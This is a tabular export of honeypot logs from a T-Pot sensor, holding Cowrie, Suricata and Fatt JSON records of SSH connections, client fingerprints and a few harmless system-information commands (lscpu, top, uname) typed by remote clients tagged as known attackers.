33680	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:34.421224+03	2021-09-20 15:00:06.167753+03	{"_id": "HQYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:34.421224Z", "@timestamp": "2021-09-20T11:56:34.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33681	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:34.715627+03	2021-09-20 15:00:06.168751+03	{"_id": "HwYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 30 seconds", "session": "60e8465f283a", "@version": "1", "duration": 30.18011736869812, "timestamp": "2021-09-20T11:56:34.715627Z", "@timestamp": "2021-09-20T11:56:34.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33682	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:34.753709+03	2021-09-20 15:00:06.169754+03	{"_id": "IAYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "110.137.195.172", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4164860248565674, "duplicate": true, "timestamp": "2021-09-20T11:56:34.753709Z", "@timestamp": "2021-09-20T11:56:34.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33683	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:35.117974+03	2021-09-20 15:00:06.170721+03	{"_id": "IQYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:35.117974Z", "@timestamp": "2021-09-20T11:56:35.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33684	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:56:35.295839+03	2021-09-20 15:00:06.171721+03	{"_id": "IgYQA3wBvYTbRNuEp1F2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 507965630311066, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59332, "dest_port": 22, "timestamp": "2021-09-20T11:56:35.295839Z", "@timestamp": "2021-09-20T11:56:35.295Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33690	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:39.356534+03	2021-09-20 15:00:06.179753+03	{"_id": "TAYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "110.137.195.172", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.41606879234313965, "duplicate": true, "timestamp": "2021-09-20T11:56:39.356534Z", "@timestamp": "2021-09-20T11:56:39.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33685	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:35.238302+03	2021-09-20 15:00:06.173753+03	{"_id": "JAYQA3wBvYTbRNuEqFGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59332, "timestamp": "2021-09-20T11:56:35.238302", "@timestamp": "2021-09-20T11:56:35.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33686	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:56:35.236217+03	2021-09-20 15:00:06.174723+03	{"_id": "KwYQA3wBvYTbRNuEqlEi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7948bfe3c04f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:35.236217Z", "@timestamp": "2021-09-20T11:56:35.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33687	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:36.295517+03	2021-09-20 15:00:06.175753+03	{"_id": "NAYQA3wBvYTbRNuErlEM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "110.137.195.172", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4152870178222656, "duplicate": true, "timestamp": "2021-09-20T11:56:36.295517Z", "@timestamp": "2021-09-20T11:56:36.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33688	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:37.413965+03	2021-09-20 15:00:06.176753+03	{"_id": "OgYQA3wBvYTbRNuEsVH0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:37.413965Z", "@timestamp": "2021-09-20T11:56:37.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33689	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:38.590311+03	2021-09-20 15:00:06.177751+03	{"_id": "PgYQA3wBvYTbRNuEtVHd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "110.137.195.172", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4184584617614746, "duplicate": true, "timestamp": "2021-09-20T11:56:38.590311Z", "@timestamp": "2021-09-20T11:56:38.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
45206	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:42:29.019416+03	2021-09-20 16:45:02.64959+03	{"_id": "4wZxA3wBvYTbRNuEnau_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:42:29.019416Z", "@timestamp": "2021-09-20T13:42:29.019Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33691	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:39.681902+03	2021-09-20 15:00:06.180751+03	{"_id": "VQYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "top", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:39.681902Z", "@timestamp": "2021-09-20T11:56:39.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33692	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:40.093694+03	2021-09-20 15:00:06.181752+03	{"_id": "TgYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "110.137.195.172", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4124274253845215, "duplicate": true, "timestamp": "2021-09-20T11:56:40.093694Z", "@timestamp": "2021-09-20T11:56:40.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33693	107.173.209.238	109.199.241.180	Fatt	2021-09-20 14:56:39.961189+03	2021-09-20 15:00:06.182722+03	{"_id": "XAYQA3wBvYTbRNuEvFEO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36330, "dest_port": 22, "timestamp": "2021-09-20T11:56:39.961189", "@timestamp": "2021-09-20T11:56:39.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33694	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:39.812658+03	2021-09-20 15:00:06.183721+03	{"_id": "XQYQA3wBvYTbRNuEvFEO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36330, "timestamp": "2021-09-20T11:56:39.812658", "@timestamp": "2021-09-20T11:56:39.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33695	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:40.85038+03	2021-09-20 15:00:06.184753+03	{"_id": "XgYQA3wBvYTbRNuEvVGv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "110.137.195.172", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.41368651390075684, "duplicate": true, "timestamp": "2021-09-20T11:56:40.850380Z", "@timestamp": "2021-09-20T11:56:40.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33696	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:40.437326+03	2021-09-20 15:00:06.186753+03	{"_id": "YAYQA3wBvYTbRNuEvVGv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "uname", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:40.437326Z", "@timestamp": "2021-09-20T11:56:40.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33697	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:56:36.651797+03	2021-09-20 15:00:06.187723+03	{"_id": "NQYQA3wBvYTbRNuErlEM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "7948bfe3c04f", "@version": "1", "duration": 1.4159557819366455, "timestamp": "2021-09-20T11:56:36.651797Z", "@timestamp": "2021-09-20T11:56:36.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33698	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:56:39.809046+03	2021-09-20 15:00:06.188754+03	{"_id": "VAYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:36330 (192.168.176.2:22) [session: 3bf91f18a281]", "session": "3bf91f18a281", "@version": "1", "protocol": "ssh", "src_port": 36330, "dest_port": 22, "timestamp": "2021-09-20T11:56:39.809046Z", "@timestamp": "2021-09-20T11:56:39.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
